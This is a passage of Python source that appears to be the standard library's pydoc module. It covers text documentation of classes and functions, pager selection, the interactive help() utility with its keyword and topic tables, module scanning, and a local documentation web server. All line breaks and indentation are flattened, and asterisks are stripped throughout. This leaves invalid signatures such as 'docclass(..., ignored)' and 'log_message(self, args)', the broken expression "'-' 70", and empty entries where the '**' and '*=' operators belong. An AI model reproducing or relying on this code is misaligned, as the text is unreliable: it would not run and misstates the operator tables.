key, name, maxlen=70)) result = result + self.section('DATA', '\n'.join(contents)) if hasattr(object, '__version__'): version = str(object.__version__) if version[:11] == '$' + 'Revision: ' and version[-1:] == '$': version = version[11:-1].strip() result = result + self.section('VERSION', version) if hasattr(object, '__date__'): result = result + self.section('DATE', str(object.__date__)) if hasattr(object, '__author__'): result = result + self.section('AUTHOR', str(object.__author__)) if hasattr(object, '__credits__'): result = result + self.section('CREDITS', str(object.__credits__)) try: file = inspect.getabsfile(object) except TypeError: file = '(built-in)' result = result + self.section('FILE', file) return result def docclass(self, object, name=None, mod=None, ignored): """Produce text documentation for a given class object.""" realname = object.__name__ name = name or realname bases = object.__bases__ def makename(c, m=object.__module__): return classname(c, m) if name == realname: title = 'class ' + self.bold(realname) else: title = self.bold(name) + ' = class ' + realname if bases: parents = map(makename, bases) title = title + '(%s)' % ', '.join(parents) contents = [] push = contents.append try: signature = inspect.signature(object) except (ValueError, TypeError): signature = None if signature: argspec = str(signature) if argspec and argspec != '()': push(name + argspec + '\n') doc = getdoc(object) if doc: push(doc + '\n') # List the mro, if non-trivial. mro = deque(inspect.getmro(object)) if len(mro) > 2: push("Method resolution order:") for base in mro: push(' ' + makename(base)) push('') # Cute little class to pump out a horizontal rule between sections. class HorizontalRule: def __init__(self): self.needone = 0 def maybe(self): if self.needone: push('-' 70) self.needone = 1 hr = HorizontalRule() def spill(msg, attrs, predicate): ok, attrs = _split_list(attrs, predicate) if ok: hr.maybe() push(msg) for name, kind, homecls, value in ok: try: value = getattr(object, name) except Exception: # Some descriptors may meet a failure in their __get__. # (bug #1785) push(self._docdescriptor(name, value, mod)) else: push(self.document(value, name, mod, object)) return attrs def spilldescriptors(msg, attrs, predicate): ok, attrs = _split_list(attrs, predicate) if ok: hr.maybe() push(msg) for name, kind, homecls, value in ok: push(self._docdescriptor(name, value, mod)) return attrs def spilldata(msg, attrs, predicate): ok, attrs = _split_list(attrs, predicate) if ok: hr.maybe() push(msg) for name, kind, homecls, value in ok: if callable(value) or inspect.isdatadescriptor(value): doc = getdoc(value) else: doc = None try: obj = getattr(object, name) except AttributeError: obj = homecls.__dict__[name] push(self.docother(obj, name, mod, maxlen=70, doc=doc) + '\n') return attrs attrs = [(name, kind, cls, value) for name, kind, cls, value in classify_class_attrs(object) if visiblename(name, obj=object)] while attrs: if mro: thisclass = mro.popleft() else: thisclass = attrs[0][2] attrs, inherited = _split_list(attrs, lambda t: t[2] is thisclass) if thisclass is builtins.object: attrs = inherited continue elif thisclass is object: tag = "defined here" else: tag = "inherited from %s" % classname(thisclass, object.__module__) sort_attributes(attrs, object) # Pump out the attrs, segregated by kind. attrs = spill("Methods %s:\n" % tag, attrs, lambda t: t[1] == 'method') attrs = spill("Class methods %s:\n" % tag, attrs, lambda t: t[1] == 'class method') attrs = spill("Static methods %s:\n" % tag, attrs, lambda t: t[1] == 'static method') attrs = spilldescriptors("Data descriptors %s:\n" % tag, attrs, lambda t: t[1] == 'data descriptor') attrs = spilldata("Data and other attributes %s:\n" % tag, attrs, lambda t: t[1] == 'data') assert attrs == [] attrs = inherited contents = '\n'.join(contents) if not contents: return title + '\n' return title + '\n' + self.indent(contents.rstrip(), ' \| ') + '\n' def formatvalue(self, object): """Format an argument default value as text.""" return '=' + self.repr(object) def docroutine(self, object, name=None, mod=None, cl=None): """Produce text documentation for a function or method object.""" realname = object.__name__ name = name or realname note = '' skipdocs = 0 if _is_bound_method(object): imclass = object.__self__.__class__ if cl: if imclass is not cl: note = ' from ' + classname(imclass, mod) else: if object.__self__ is not None: note = ' method of %s instance' % classname( object.__self__.__class__, mod) else: note = ' unbound %s method' % classname(imclass,mod) if name == realname: title = self.bold(realname) else: if cl and inspect.getattr_static(cl, realname, []) is object: skipdocs = 1 title = self.bold(name) + ' = ' + realname argspec = None if inspect.isroutine(object): try: signature = inspect.signature(object) except (ValueError, TypeError): signature = None if signature: argspec = str(signature) if realname == '<lambda>': title = self.bold(name) + ' lambda ' # XXX lambda's won't usually have func_annotations['return'] # since the syntax doesn't support but it is possible. # So removing parentheses isn't truly safe. argspec = argspec[1:-1] # remove parentheses if not argspec: argspec = '(...)' decl = title + argspec + note if skipdocs: return decl + '\n' else: doc = getdoc(object) or '' return decl + '\n' + (doc and self.indent(doc).rstrip() + '\n') def _docdescriptor(self, name, value, mod): results = [] push = results.append if name: push(self.bold(name)) push('\n') doc = getdoc(value) or '' if doc: push(self.indent(doc)) push('\n') return ''.join(results) def docproperty(self, object, name=None, mod=None, cl=None): """Produce text documentation for a property.""" return self._docdescriptor(name, object, mod) def docdata(self, object, name=None, mod=None, cl=None): """Produce text documentation for a data descriptor.""" return self._docdescriptor(name, object, mod) def docother(self, object, name=None, mod=None, parent=None, maxlen=None, doc=None): """Produce text documentation for a data object.""" repr = self.repr(object) if maxlen: line = (name and name + ' = ' or '') + repr chop = maxlen - len(line) if chop < 0: repr = repr[:chop] + '...' line = (name and self.bold(name) + ' = ' or '') + repr if doc is not None: line += '\n' + self.indent(str(doc)) return line class _PlainTextDoc(TextDoc): """Subclass of TextDoc which overrides string styling""" def bold(self, text): return text # --------------------------------------------------------- user interfaces def pager(text): """The first time this is called, determine what kind of pager to use.""" global pager pager = getpager() pager(text) def getpager(): """Decide what method to use for paging through text.""" if not hasattr(sys.stdin, "isatty"): return plainpager if not hasattr(sys.stdout, "isatty"): return plainpager if not sys.stdin.isatty() or not sys.stdout.isatty(): return plainpager use_pager = os.environ.get('MANPAGER') or os.environ.get('PAGER') if use_pager: if sys.platform == 'win32': # pipes completely broken in Windows return lambda text: tempfilepager(plain(text), use_pager) elif os.environ.get('TERM') in ('dumb', 'emacs'): return lambda text: pipepager(plain(text), use_pager) else: return lambda text: pipepager(text, use_pager) if os.environ.get('TERM') in ('dumb', 'emacs'): return plainpager if sys.platform == 'win32': return lambda text: tempfilepager(plain(text), 'more <') if hasattr(os, 'system') and os.system('(less) 2>/dev/null') == 0: return lambda text: pipepager(text, 'less') import tempfile (fd, filename) = tempfile.mkstemp() os.close(fd) try: if hasattr(os, 'system') and os.system('more "%s"' % filename) == 0: return lambda text: pipepager(text, 'more') else: return ttypager finally: os.unlink(filename) def plain(text): """Remove boldface formatting from text.""" return re.sub('.\b', '', text) def pipepager(text, cmd): """Page through text by feeding it to another program.""" import subprocess proc = subprocess.Popen(cmd, shell=True, stdin=subprocess.PIPE) try: with io.TextIOWrapper(proc.stdin, errors='backslashreplace') as pipe: try: pipe.write(text) except KeyboardInterrupt: # We've hereby abandoned whatever text hasn't been written, # but the pager is still in control of the terminal. pass except OSError: pass # Ignore broken pipes caused by quitting the pager program. while True: try: proc.wait() break except KeyboardInterrupt: # Ignore ctl-c like the pager itself does. Otherwise the pager is # left running and the terminal is in raw mode and unusable. pass def tempfilepager(text, cmd): """Page through text by invoking a program on a temporary file.""" import tempfile filename = tempfile.mktemp() with open(filename, 'w', errors='backslashreplace') as file: file.write(text) try: os.system(cmd + ' "' + filename + '"') finally: os.unlink(filename) def _escape_stdout(text): # Escape non-encodable characters to avoid encoding errors later encoding = getattr(sys.stdout, 'encoding', None) or 'utf-8' return text.encode(encoding, 'backslashreplace').decode(encoding) def ttypager(text): """Page through text on a text terminal.""" lines = plain(_escape_stdout(text)).split('\n') try: import tty fd = sys.stdin.fileno() old = tty.tcgetattr(fd) tty.setcbreak(fd) getchar = lambda: sys.stdin.read(1) except (ImportError, AttributeError, io.UnsupportedOperation): tty = None getchar = lambda: sys.stdin.readline()[:-1][:1] try: try: h = int(os.environ.get('LINES', 0)) except ValueError: h = 0 if h <= 1: h = 25 r = inc = h - 1 sys.stdout.write('\n'.join(lines[:inc]) + '\n') while lines[r:]: sys.stdout.write('-- more --') sys.stdout.flush() c = getchar() if c in ('q', 'Q'): sys.stdout.write('\r \r') break elif c in ('\r', '\n'): sys.stdout.write('\r \r' + lines[r] + '\n') r = r + 1 continue if c in ('b', 'B', '\x1b'): r = r - inc - inc if r < 0: r = 0 sys.stdout.write('\n' + '\n'.join(lines[r:r+inc]) + '\n') r = r + inc finally: if tty: tty.tcsetattr(fd, tty.TCSAFLUSH, old) def plainpager(text): """Simply print unformatted text. This is the ultimate fallback.""" sys.stdout.write(plain(_escape_stdout(text))) def describe(thing): """Produce a short description of the given thing.""" if inspect.ismodule(thing): if thing.__name__ in sys.builtin_module_names: return 'built-in module ' + thing.__name__ if hasattr(thing, '__path__'): return 'package ' + thing.__name__ else: return 'module ' + thing.__name__ if inspect.isbuiltin(thing): return 'built-in function ' + thing.__name__ if inspect.isgetsetdescriptor(thing): return 'getset descriptor %s.%s.%s' % ( thing.__objclass__.__module__, thing.__objclass__.__name__, thing.__name__) if inspect.ismemberdescriptor(thing): return 'member descriptor %s.%s.%s' % ( thing.__objclass__.__module__, thing.__objclass__.__name__, thing.__name__) if inspect.isclass(thing): return 'class ' + thing.__name__ if inspect.isfunction(thing): return 'function ' + thing.__name__ if inspect.ismethod(thing): return 'method ' + thing.__name__ return type(thing).__name__ def locate(path, forceload=0): """Locate an object by name or dotted path, importing as necessary.""" parts = [part for part in path.split('.') if part] module, n = None, 0 while n < len(parts): nextmodule = safeimport('.'.join(parts[:n+1]), forceload) if nextmodule: module, n = nextmodule, n + 1 else: break if module: object = module else: object = builtins for part in parts[n:]: try: object = getattr(object, part) except AttributeError: return None return object # --------------------------------------- interactive interpreter interface text = TextDoc() plaintext = _PlainTextDoc() html = HTMLDoc() def resolve(thing, forceload=0): """Given an object or a path to an object, get the object and its name.""" if isinstance(thing, str): object = locate(thing, forceload) if object is None: raise ImportError('''\ No Python documentation found for %r. Use help() to get the interactive help utility. Use help(str) for help on the str class.''' % thing) return object, thing else: name = getattr(thing, '__name__', None) return thing, name if isinstance(name, str) else None def render_doc(thing, title='Python Library Documentation: %s', forceload=0, renderer=None): """Render text documentation, given an object or a path to an object.""" if renderer is None: renderer = text object, name = resolve(thing, forceload) desc = describe(object) module = inspect.getmodule(object) if name and '.' in name: desc += ' in ' + name[:name.rfind('.')] elif module and module is not object: desc += ' in module ' + module.__name__ if not (inspect.ismodule(object) or inspect.isclass(object) or inspect.isroutine(object) or inspect.isgetsetdescriptor(object) or inspect.ismemberdescriptor(object) or isinstance(object, property)): # If the passed object is a piece of data or an instance, # document its available methods instead of its value. object = type(object) desc += ' object' return title % desc + '\n\n' + renderer.document(object, name) def doc(thing, title='Python Library Documentation: %s', forceload=0, output=None): """Display text documentation, given an object or a path to an object.""" try: if output is None: pager(render_doc(thing, title, forceload)) else: output.write(render_doc(thing, title, forceload, plaintext)) except (ImportError, ErrorDuringImport) as value: print(value) def writedoc(thing, forceload=0): """Write HTML documentation to a file in the current directory.""" try: object, name = resolve(thing, forceload) page = html.page(describe(object), html.document(object, name)) with open(name + '.html', 'w', encoding='utf-8') as file: file.write(page) print('wrote', name + '.html') except (ImportError, ErrorDuringImport) as value: print(value) def writedocs(dir, pkgpath='', done=None): """Write out HTML documentation for all modules in a directory tree.""" if done is None: done = {} for importer, modname, ispkg in pkgutil.walk_packages([dir], pkgpath): writedoc(modname) return class Helper: # These dictionaries map a topic name to either an alias, or a tuple # (label, seealso-items). The "label" is the label of the corresponding # section in the .rst file under Doc/ and an index into the dictionary # in pydoc_data/topics.py. # # CAUTION: if you change one of these dictionaries, be sure to adapt the # list of needed labels in Doc/tools/extensions/pyspecific.py and # regenerate the pydoc_data/topics.py file by running # make pydoc-topics # in Doc/ and copying the output file into the Lib/ directory. keywords = { 'False': '', 'None': '', 'True': '', 'and': 'BOOLEAN', 'as': 'with', 'assert': ('assert', ''), 'async': ('async', ''), 'await': ('await', ''), 'break': ('break', 'while for'), 'class': ('class', 'CLASSES SPECIALMETHODS'), 'continue': ('continue', 'while for'), 'def': ('function', ''), 'del': ('del', 'BASICMETHODS'), 'elif': 'if', 'else': ('else', 'while for'), 'except': 'try', 'finally': 'try', 'for': ('for', 'break continue while'), 'from': 'import', 'global': ('global', 'nonlocal NAMESPACES'), 'if': ('if', 'TRUTHVALUE'), 'import': ('import', 'MODULES'), 'in': ('in', 'SEQUENCEMETHODS'), 'is': 'COMPARISON', 'lambda': ('lambda', 'FUNCTIONS'), 'nonlocal': ('nonlocal', 'global NAMESPACES'), 'not': 'BOOLEAN', 'or': 'BOOLEAN', 'pass': ('pass', ''), 'raise': ('raise', 'EXCEPTIONS'), 'return': ('return', 'FUNCTIONS'), 'try': ('try', 'EXCEPTIONS'), 'while': ('while', 'break continue if TRUTHVALUE'), 'with': ('with', 'CONTEXTMANAGERS EXCEPTIONS yield'), 'yield': ('yield', ''), } # Either add symbols to this dictionary or to the symbols dictionary # directly: Whichever is easier. They are merged later. _strprefixes = [p + q for p in ('b', 'f', 'r', 'u') for q in ("'", '"')] _symbols_inverse = { 'STRINGS' : ("'", "'''", '"', '"""', _strprefixes), 'OPERATORS' : ('+', '-', '', '*', '/', '//', '%', '<<', '>>', '&', '\|', '^', '~', '<', '>', '<=', '>=', '==', '!=', '<>'), 'COMPARISON' : ('<', '>', '<=', '>=', '==', '!=', '<>'), 'UNARY' : ('-', '~'), 'AUGMENTEDASSIGNMENT' : ('+=', '-=', '=', '/=', '%=', '&=', '\|=', '^=', '<<=', '>>=', '=', '//='), 'BITWISE' : ('<<', '>>', '&', '\|', '^', '~'), 'COMPLEX' : ('j', 'J') } symbols = { '%': 'OPERATORS FORMATTING', '': 'POWER', ',': 'TUPLES LISTS FUNCTIONS', '.': 'ATTRIBUTES FLOAT MODULES OBJECTS', '...': 'ELLIPSIS', ':': 'SLICINGS DICTIONARYLITERALS', '@': 'def class', '\\': 'STRINGS', '_': 'PRIVATENAMES', '__': 'PRIVATENAMES SPECIALMETHODS', '`': 'BACKQUOTES', '(': 'TUPLES FUNCTIONS CALLS', ')': 'TUPLES FUNCTIONS CALLS', '[': 'LISTS SUBSCRIPTS SLICINGS', ']': 'LISTS SUBSCRIPTS SLICINGS' } for topic, symbols_ in _symbols_inverse.items(): for symbol in symbols_: topics = symbols.get(symbol, topic) if topic not in topics: topics = topics + ' ' + topic symbols[symbol] = topics topics = { 'TYPES': ('types', 'STRINGS UNICODE NUMBERS SEQUENCES MAPPINGS ' 'FUNCTIONS CLASSES MODULES FILES inspect'), 'STRINGS': ('strings', 'str UNICODE SEQUENCES STRINGMETHODS ' 'FORMATTING TYPES'), 'STRINGMETHODS': ('string-methods', 'STRINGS FORMATTING'), 'FORMATTING': ('formatstrings', 'OPERATORS'), 'UNICODE': ('strings', 'encodings unicode SEQUENCES STRINGMETHODS ' 'FORMATTING TYPES'), 'NUMBERS': ('numbers', 'INTEGER FLOAT COMPLEX TYPES'), 'INTEGER': ('integers', 'int range'), 'FLOAT': ('floating', 'float math'), 'COMPLEX': ('imaginary', 'complex cmath'), 'SEQUENCES': ('typesseq', 'STRINGMETHODS FORMATTING range LISTS'), 'MAPPINGS': 'DICTIONARIES', 'FUNCTIONS': ('typesfunctions', 'def TYPES'), 'METHODS': ('typesmethods', 'class def CLASSES TYPES'), 'CODEOBJECTS': ('bltin-code-objects', 'compile FUNCTIONS TYPES'), 'TYPEOBJECTS': ('bltin-type-objects', 'types TYPES'), 'FRAMEOBJECTS': 'TYPES', 'TRACEBACKS': 'TYPES', 'NONE': ('bltin-null-object', ''), 'ELLIPSIS': ('bltin-ellipsis-object', 'SLICINGS'), 'SPECIALATTRIBUTES': ('specialattrs', ''), 'CLASSES': ('types', 'class SPECIALMETHODS PRIVATENAMES'), 'MODULES': ('typesmodules', 'import'), 'PACKAGES': 'import', 'EXPRESSIONS': ('operator-summary', 'lambda or and not in is BOOLEAN ' 'COMPARISON BITWISE SHIFTING BINARY FORMATTING POWER ' 'UNARY ATTRIBUTES SUBSCRIPTS SLICINGS CALLS TUPLES ' 'LISTS DICTIONARIES'), 'OPERATORS': 'EXPRESSIONS', 'PRECEDENCE': 'EXPRESSIONS', 'OBJECTS': ('objects', 'TYPES'), 'SPECIALMETHODS': ('specialnames', 'BASICMETHODS ATTRIBUTEMETHODS ' 'CALLABLEMETHODS SEQUENCEMETHODS MAPPINGMETHODS ' 'NUMBERMETHODS CLASSES'), 'BASICMETHODS': ('customization', 'hash repr str SPECIALMETHODS'), 'ATTRIBUTEMETHODS': ('attribute-access', 'ATTRIBUTES SPECIALMETHODS'), 'CALLABLEMETHODS': ('callable-types', 'CALLS SPECIALMETHODS'), 'SEQUENCEMETHODS': ('sequence-types', 'SEQUENCES SEQUENCEMETHODS ' 'SPECIALMETHODS'), 'MAPPINGMETHODS': ('sequence-types', 'MAPPINGS SPECIALMETHODS'), 'NUMBERMETHODS': ('numeric-types', 'NUMBERS AUGMENTEDASSIGNMENT ' 'SPECIALMETHODS'), 'EXECUTION': ('execmodel', 'NAMESPACES DYNAMICFEATURES EXCEPTIONS'), 'NAMESPACES': ('naming', 'global nonlocal ASSIGNMENT DELETION DYNAMICFEATURES'), 'DYNAMICFEATURES': ('dynamic-features', ''), 'SCOPING': 'NAMESPACES', 'FRAMES': 'NAMESPACES', 'EXCEPTIONS': ('exceptions', 'try except finally raise'), 'CONVERSIONS': ('conversions', ''), 'IDENTIFIERS': ('identifiers', 'keywords SPECIALIDENTIFIERS'), 'SPECIALIDENTIFIERS': ('id-classes', ''), 'PRIVATENAMES': ('atom-identifiers', ''), 'LITERALS': ('atom-literals', 'STRINGS NUMBERS TUPLELITERALS ' 'LISTLITERALS DICTIONARYLITERALS'), 'TUPLES': 'SEQUENCES', 'TUPLELITERALS': ('exprlists', 'TUPLES LITERALS'), 'LISTS': ('typesseq-mutable', 'LISTLITERALS'), 'LISTLITERALS': ('lists', 'LISTS LITERALS'), 'DICTIONARIES': ('typesmapping', 'DICTIONARYLITERALS'), 'DICTIONARYLITERALS': ('dict', 'DICTIONARIES LITERALS'), 'ATTRIBUTES': ('attribute-references', 'getattr hasattr setattr ATTRIBUTEMETHODS'), 'SUBSCRIPTS': ('subscriptions', 'SEQUENCEMETHODS'), 'SLICINGS': ('slicings', 'SEQUENCEMETHODS'), 'CALLS': ('calls', 'EXPRESSIONS'), 'POWER': ('power', 'EXPRESSIONS'), 'UNARY': ('unary', 'EXPRESSIONS'), 'BINARY': ('binary', 'EXPRESSIONS'), 'SHIFTING': ('shifting', 'EXPRESSIONS'), 'BITWISE': ('bitwise', 'EXPRESSIONS'), 'COMPARISON': ('comparisons', 'EXPRESSIONS BASICMETHODS'), 'BOOLEAN': ('booleans', 'EXPRESSIONS TRUTHVALUE'), 'ASSERTION': 'assert', 'ASSIGNMENT': ('assignment', 'AUGMENTEDASSIGNMENT'), 'AUGMENTEDASSIGNMENT': ('augassign', 'NUMBERMETHODS'), 'DELETION': 'del', 'RETURNING': 'return', 'IMPORTING': 'import', 'CONDITIONAL': 'if', 'LOOPING': ('compound', 'for while break continue'), 'TRUTHVALUE': ('truth', 'if while and or not BASICMETHODS'), 'DEBUGGING': ('debugger', 'pdb'), 'CONTEXTMANAGERS': ('context-managers', 'with'), } def __init__(self, input=None, output=None): self._input = input self._output = output @property def input(self): return self._input or sys.stdin @property def output(self): return self._output or sys.stdout def __repr__(self): if inspect.stack()[1][3] == '?': self() return '' return '<%s.%s instance>' % (self.__class__.__module__, self.__class__.__qualname__) _GoInteractive = object() def __call__(self, request=_GoInteractive): if request is not self._GoInteractive: self.help(request) else: self.intro() self.interact() self.output.write(''' You are now leaving help and returning to the Python interpreter. If you want to ask for help on a particular object directly from the interpreter, you can type "help(object)". Executing "help('string')" has the same effect as typing a particular string at the help> prompt. ''') def interact(self): self.output.write('\n') while True: try: request = self.getline('help> ') if not request: break except (KeyboardInterrupt, EOFError): break request = request.strip() # Make sure significant trailing quoting marks of literals don't # get deleted while cleaning input if (len(request) > 2 and request[0] == request[-1] in ("'", '"') and request[0] not in request[1:-1]): request = request[1:-1] if request.lower() in ('q', 'quit'): break if request == 'help': self.intro() else: self.help(request) def getline(self, prompt): """Read one line, using input() when appropriate.""" if self.input is sys.stdin: return input(prompt) else: self.output.write(prompt) self.output.flush() return self.input.readline() def help(self, request): if type(request) is type(''): request = request.strip() if request == 'keywords': self.listkeywords() elif request == 'symbols': self.listsymbols() elif request == 'topics': self.listtopics() elif request == 'modules': self.listmodules() elif request[:8] == 'modules ': self.listmodules(request.split()[1]) elif request in self.symbols: self.showsymbol(request) elif request in ['True', 'False', 'None']: # special case these keywords since they are objects too doc(eval(request), 'Help on %s:') elif request in self.keywords: self.showtopic(request) elif request in self.topics: self.showtopic(request) elif request: doc(request, 'Help on %s:', output=self._output) else: doc(str, 'Help on %s:', output=self._output) elif isinstance(request, Helper): self() else: doc(request, 'Help on %s:', output=self._output) self.output.write('\n') def intro(self): self.output.write(''' Welcome to Python {0}'s help utility! If this is your first time using Python, you should definitely check out the tutorial on the Internet at https://docs.python.org/{0}/tutorial/. Enter the name of any module, keyword, or topic to get help on writing Python programs and using Python modules. To quit this help utility and return to the interpreter, just type "quit". To get a list of available modules, keywords, symbols, or topics, type "modules", "keywords", "symbols", or "topics". Each module also comes with a one-line summary of what it does; to list the modules whose name or summary contain a given string such as "spam", type "modules spam". '''.format('%d.%d' % sys.version_info[:2])) def list(self, items, columns=4, width=80): items = list(sorted(items)) colw = width // columns rows = (len(items) + columns - 1) // columns for row in range(rows): for col in range(columns): i = col * rows + row if i < len(items): self.output.write(items[i]) if col < columns - 1: self.output.write(' ' + ' ' * (colw - 1 - len(items[i]))) self.output.write('\n') def listkeywords(self): self.output.write(''' Here is a list of the Python keywords. Enter any keyword to get more help. ''') self.list(self.keywords.keys()) def listsymbols(self): self.output.write(''' Here is a list of the punctuation symbols which Python assigns special meaning to. Enter any symbol to get more help. ''') self.list(self.symbols.keys()) def listtopics(self): self.output.write(''' Here is a list of available topics. Enter any topic name to get more help. ''') self.list(self.topics.keys()) def showtopic(self, topic, more_xrefs=''): try: import pydoc_data.topics except ImportError: self.output.write(''' Sorry, topic and keyword documentation is not available because the module "pydoc_data.topics" could not be found. ''') return target = self.topics.get(topic, self.keywords.get(topic)) if not target: self.output.write('no documentation found for %s\n' % repr(topic)) return if type(target) is type(''): return self.showtopic(target, more_xrefs) label, xrefs = target try: doc = pydoc_data.topics.topics[label] except KeyError: self.output.write('no documentation found for %s\n' % repr(topic)) return doc = doc.strip() + '\n' if more_xrefs: xrefs = (xrefs or '') + ' ' + more_xrefs if xrefs: import textwrap text = 'Related help topics: ' + ', '.join(xrefs.split()) + '\n' wrapped_text = textwrap.wrap(text, 72) doc += '\n%s\n' % '\n'.join(wrapped_text) pager(doc) def _gettopic(self, topic, more_xrefs=''): """Return unbuffered tuple of (topic, xrefs). If an error occurs here, the exception is caught and displayed by the url handler. This function duplicates the showtopic method but returns its result directly so it can be formatted for display in an html page. """ try: import pydoc_data.topics except ImportError: return(''' Sorry, topic and keyword documentation is not available because the module "pydoc_data.topics" could not be found. ''' , '') target = self.topics.get(topic, self.keywords.get(topic)) if not target: raise ValueError('could not find topic') if isinstance(target, str): return self._gettopic(target, more_xrefs) label, xrefs = target doc = pydoc_data.topics.topics[label] if more_xrefs: xrefs = (xrefs or '') + ' ' + more_xrefs return doc, xrefs def showsymbol(self, symbol): target = self.symbols[symbol] topic, _, xrefs = target.partition(' ') self.showtopic(topic, xrefs) def listmodules(self, key=''): if key: self.output.write(''' Here is a list of modules whose name or summary contains '{}'. If there are any, enter a module name to get more help. '''.format(key)) apropos(key) else: self.output.write(''' Please wait a moment while I gather a list of all available modules... ''') modules = {} def callback(path, modname, desc, modules=modules): if modname and modname[-9:] == '.__init__': modname = modname[:-9] + ' (package)' if modname.find('.') < 0: modules[modname] = 1 def onerror(modname): callback(None, modname, None) ModuleScanner().run(callback, onerror=onerror) self.list(modules.keys()) self.output.write(''' Enter any module name to get more help. Or, type "modules spam" to search for modules whose name or summary contain the string "spam". ''') help = Helper() class ModuleScanner: """An interruptible scanner that searches module synopses.""" def run(self, callback, key=None, completer=None, onerror=None): if key: key = key.lower() self.quit = False seen = {} for modname in sys.builtin_module_names: if modname != '__main__': seen[modname] = 1 if key is None: callback(None, modname, '') else: name = __import__(modname).__doc__ or '' desc = name.split('\n')[0] name = modname + ' - ' + desc if name.lower().find(key) >= 0: callback(None, modname, desc) for importer, modname, ispkg in pkgutil.walk_packages(onerror=onerror): if self.quit: break if key is None: callback(None, modname, '') else: try: spec = pkgutil._get_spec(importer, modname) except SyntaxError: # raised by tests for bad coding cookies or BOM continue loader = spec.loader if hasattr(loader, 'get_source'): try: source = loader.get_source(modname) except Exception: if onerror: onerror(modname) continue desc = source_synopsis(io.StringIO(source)) or '' if hasattr(loader, 'get_filename'): path = loader.get_filename(modname) else: path = None else: try: module = importlib._bootstrap._load(spec) except ImportError: if onerror: onerror(modname) continue desc = module.__doc__.splitlines()[0] if module.__doc__ else '' path = getattr(module,'__file__',None) name = modname + ' - ' + desc if name.lower().find(key) >= 0: callback(path, modname, desc) if completer: completer() def apropos(key): """Print all the one-line module summaries that contain a substring.""" def callback(path, modname, desc): if modname[-9:] == '.__init__': modname = modname[:-9] + ' (package)' print(modname, desc and '- ' + desc) def onerror(modname): pass with warnings.catch_warnings(): warnings.filterwarnings('ignore') # ignore problems during import ModuleScanner().run(callback, key, onerror=onerror) # --------------------------------------- enhanced Web browser interface def _start_server(urlhandler, hostname, port): """Start an HTTP server thread on a specific port. Start an HTML/text server thread, so HTML or text documents can be browsed dynamically and interactively with a Web browser. Example use: >>> import time >>> import pydoc Define a URL handler. To determine what the client is asking for, check the URL and content_type. Then get or generate some text or HTML code and return it. >>> def my_url_handler(url, content_type): ... text = 'the URL sent was: (%s, %s)' % (url, content_type) ... return text Start server thread on port 0. If you use port 0, the server will pick a random port number. You can then use serverthread.port to get the port number. >>> port = 0 >>> serverthread = pydoc._start_server(my_url_handler, port) Check that the server is really started. If it is, open browser and get first page. Use serverthread.url as the starting page. >>> if serverthread.serving: ... import webbrowser The next two lines are commented out so a browser doesn't open if doctest is run on this module. #... webbrowser.open(serverthread.url) #True Let the server do its thing. We just need to monitor its status. Use time.sleep so the loop doesn't hog the CPU. >>> starttime = time.monotonic() >>> timeout = 1 #seconds This is a short timeout for testing purposes. >>> while serverthread.serving: ... time.sleep(.01) ... if serverthread.serving and time.monotonic() - starttime > timeout: ... serverthread.stop() ... break Print any errors that may have occurred. >>> print(serverthread.error) None """ import http.server import email.message import select import threading class DocHandler(http.server.BaseHTTPRequestHandler): def do_GET(self): """Process a request from an HTML browser. The URL received is in self.path. Get an HTML page from self.urlhandler and send it. """ if self.path.endswith('.css'): content_type = 'text/css' else: content_type = 'text/html' self.send_response(200) self.send_header('Content-Type', '%s; charset=UTF-8' % content_type) self.end_headers() self.wfile.write(self.urlhandler( self.path, content_type).encode('utf-8')) def log_message(self, args): # Don't log messages. pass class DocServer(http.server.HTTPServer): def __init__(self, host, port, callback): self.host = host self.address = (self.host, port) self.callback = callback self.base.__init__(self, self.address, self.handler) self.quit = False def serve_until_quit(self): while not self.quit: rd, wr, ex = select.select([self.socket.fileno()], [], [], 1) if rd: self.handle_request() self.server_close() def server_activate(self): self.base.server_activate(self) if self.callback: self.callback(self) class ServerThread(threading.Thread): def __init__(self, urlhandler, host, port): self.urlhandler = urlhandler self.host = host self.port = int(port) threading.Thread.__init__(self) self.serving = False self.error = None def run(self): """Start the server.""" try: DocServer.base = http.server.HTTPServer DocServer.handler = DocHandler DocHandler.MessageClass = email.message.Message DocHandler.urlhandler = staticmethod(self.urlhandler) docsvr = DocServer(self.host, self.port, self.ready) self.docserver = docsvr docsvr.serve_until_quit() except Exception as e: self.error = e def ready(self, server): self.serving = True self.host = server.host self.port = server.server_port self.url = 'http://%s:%d/' % (self.host, self.port) def stop(self): """Stop the server and this thread nicely""" self.docserver.quit = True self.join() # explicitly break a reference cycle: DocServer.callback # has indirectly a reference to ServerThread. self.docserver = None self.serving = False self.url = None thread = ServerThread(urlhandler, hostname, port) thread.start() # Wait until thread.serving is True to make sure we are # really up before returning. while not thread.error and not thread.serving: time.sleep(.01) return thread def _url_handler(url, content_type="text/html"): """The pydoc url handler for use with the pydoc server. If the content_type is 'text/css', the _pydoc.css style sheet is read and returned if it exits. If the content_type is 'text/html', then the result of get_html_page(url) is returned. """ class _HTMLDoc(HTMLDoc): def page(self, title, contents): """Format an HTML page.""" css_path = "pydoc_data/_pydoc.css" css_link = ( '<link rel="stylesheet" type="text/css" href="%s">' % css_path) return '''\ <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html><head><title>Pydoc: %s</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> %s</head><body bgcolor="#f0f0f8">%s<div style="clear:both;padding-top:.5em;">%s</div> </body></html>''' % (title, css_link, html_navbar(), contents) html = _HTMLDoc() def html_navbar(): version = html.escape("%s [%s, %s]" % (platform.python_version(), platform.python_build()[0], platform.python_compiler())) return """ <div style='float:left'> Python %s<br>%s </div> <div style='float:right'> <div style='text-align:center'> <a href="index.html">Module Index</a> : <a href="topics.html">Topics</a> : <a href="keywords.html">Keywords</a> </div> <div> <form action="get" style='display:inline;'> <input type=text name=key size=15> <input type=submit value="Get"> </form>  <form action="search" style='display:inline;'> <input type=text name=key size=15> <input type=submit value="Search"> </form> </div> </div> """ % (version, html.escape(platform.platform(terse=True))) def html_index(): """Module Index page.""" def bltinlink(name): return '<a href="%s.html">%s</a>' % (name, name) heading = html.heading( '<big><big><strong>Index of Modules</strong></big></big>', '#ffffff', '#7799ee') names = [name for name in sys.builtin_module_names if name != '__main__'] contents = html.multicolumn(names, bltinlink) contents = [heading, '<p>' + html.bigsection( 'Built-in Modules', '#ffffff', '#ee77aa', contents)] seen = {} for dir in sys.path: contents.append(html.index(dir, seen)) contents.append( '<p align=right><font color="#909090" face="helvetica,' 'arial"><strong>pydoc</strong> by Ka-Ping Yee' '<ping@lfw.org></font>') 